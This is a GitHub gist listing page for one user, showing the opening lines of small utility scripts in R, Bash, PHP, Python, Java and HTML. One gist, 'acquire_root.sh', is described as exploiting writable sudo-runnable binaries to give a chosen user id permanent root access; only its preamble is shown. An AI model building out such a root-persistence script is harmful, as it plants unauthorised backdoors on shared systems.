m-manu’s gists

m-manu / csvRandomForest.R

Created March 30, 2016 12:57

Handy R script to train data in 'training.csv' using random forest and predict output using inputs from 'test.csv'

	trainingCsv <- "./training.csv"
	testCsv <- "./test.csv"

	trainingData <- read.csv(trainingCsv)
	testData <- read.csv(testCsv)

	numColumns <- dim(trainingData)[2]
	columnNames <- colnames(trainingData)
	stopifnot(numColumns == dim(testData)[2] + 1)
	stopifnot(columnNames[-numColumns] == colnames(testData))

m-manu / scr

Last active November 28, 2016 06:03

GNU Screen: in and out (only one screen)

	#!/bin/bash
	if [ "$TERM" = "screen" ]; then
	echo "Sorry, you're already inside a screen"
	elif [ `screen -D \| wc -l` -eq 1 ]; then
	echo "Launching new screen..."
	/usr/bin/screen
	else
	echo "Resuming previous screen..."
	/usr/bin/screen -D -x
	fi

m-manu / acquire_root.sh

Last active November 28, 2016 06:04

Find sudo runnable binaries that are writeable, exploit, get permanent root access

	#!/bin/bash

	if [ $UID -ne 0 ]; then
	echo >&2 "You should run this as root"
	exit
	fi

	# Id of user who needs to get root access:
	COOL_USER_ID=1089

m-manu / json2csv.php

Created August 4, 2015 06:45

Attempts to convert a JSON to CSV

	<?php

	if (count($argv) != 3) {
	error_log("Pass input_file_path output_file_path");
	exit;
	}
	$input_file_path = $argv[1];
	$output_file_path = $argv[2];
	$json_str = file_get_contents($input_file_path);

m-manu / ckeditor.html

Last active September 16, 2020 17:16

CKEditor in Full Screen with auto-save

	<!DOCTYPE html>
	<html>
	<head>
	<meta charset="utf-8">
	<title>CKEditor</title>
	<script type="text/javascript" src="./ckeditor.js"></script>
	<script type="text/javascript">
	var editor1, editor1isModified = false;
	function initialize() {
	CKEDITOR.replace('editor1', {

m-manu / run

Created March 4, 2014 05:57

To use this script, just place this in "/bin" directory (and grant it 755 perms). Then run your source files like "run helloworld.c" or "run HelloWorld.java" or "run helloworld.c"

	#!/usr/bin/python
	'''
	Quickly compile and execute a source file in one-go. Does cleanup of executable file, if any.
	Handles C, C++, Java, PHP, Shell and Python
	'''
	import argparse
	from os import path, system, remove

	def sourcefile(x):
	if not path.isfile(x):

m-manu / ScoredSet.java

Last active January 25, 2016 06:55

Implementation of a "sorted set", a type of set in which elements are sorted according to their 'scores'. Worst-case time complexity: O(1) for retrieval of score, O(log(n)) for addition/removal of elements, O(log(n)) for changes to scores, O(k) for getting top k or bottom k elements.

	package manu.sandbox.utils;

	import java.util.Set;

	public interface ScoredSet<T extends Comparable<T>> extends Set<T>, Cloneable {
	interface ElementWithScore<T> {
	T getElement();

	Double getScore();
	}

m-manu / google_oauth2_auth.php

Last active January 3, 2016 20:38

Switch from your custom implementation of authentication (storing usernames and passwords in your data store) to a "Login using Google" in no-time. Below is an ultra-light authorization using Google OAuth 2.0. Visit https://cloud.google.com/console/project >> APIs & auth >> Credentials

	<?php

	define('GOOGLE_OAUTH2_CLIENT_ID', 'client id'); // this will be of form "<number>.apps.googleusercontent.com"
	define('GOOGLE_OAUTH2_CLIENT_SECRET', 'client secret'); // this will be a base64 string
	define('GOOGLE_OAUTH2_REDIRECT_URI', 'redirect url'); // This URL should be registered under "Redirect URIs"
	define('YOUR_DOMAIN', 'your domain'); // your domain
	define('OAUTH2_SESSION_DURATION', 90); //in seconds

	require __DIR__ . "/url_get_contents.php"; // Use https://gist.github.com/m-manu/7462652

m-manu / url_get_contents.php

Last active December 28, 2015 07:09

Read entire contents of a URL into one string. Allows you to pass parameters or raw data. Supports GET/POST. More convenient and feature-rich compared to file_get_contents if you're using it on URLs!

	<?php

	/**
	* Read entire contents of given URL as a string. Optionally, get headers as well in an easily accessible array.
	* @param string $url URL to fetch data from
	* @param mixed $params Parameters to the URL, typically an array. In case of POST, can be a string
	* @param string $method HTTP method - can be 'GET' (default) or 'POST'
	* @param bool $include_headers Should response headers be included?
	* @return mixed Contents of the webpage as a string. Returns <i>false</i> in case of failure. If parameter <b>$include_headers</b> is <i>true</i>, returns an <i>array</i> containing response code, response headers and response body.
	*/

m-manu / ssh-known-hosts-optimize

Last active December 28, 2015 07:09

This script consolidates your "~/.ssh/known_hosts" file. All the aliases and internal/external IP addresses for a node will be merged into one line of the file.

	#!/usr/bin/python
	import os
	import sys
	import csv

	home = os.getenv("HOME")
	known_hosts_path = home+'/.ssh/known_hosts'
	known_hosts_optimized_path = home+'/.ssh/known_hosts_optimized'
	d = {}
	csvfile = open(known_hosts_path, 'r')

Manu Manjunath m-manu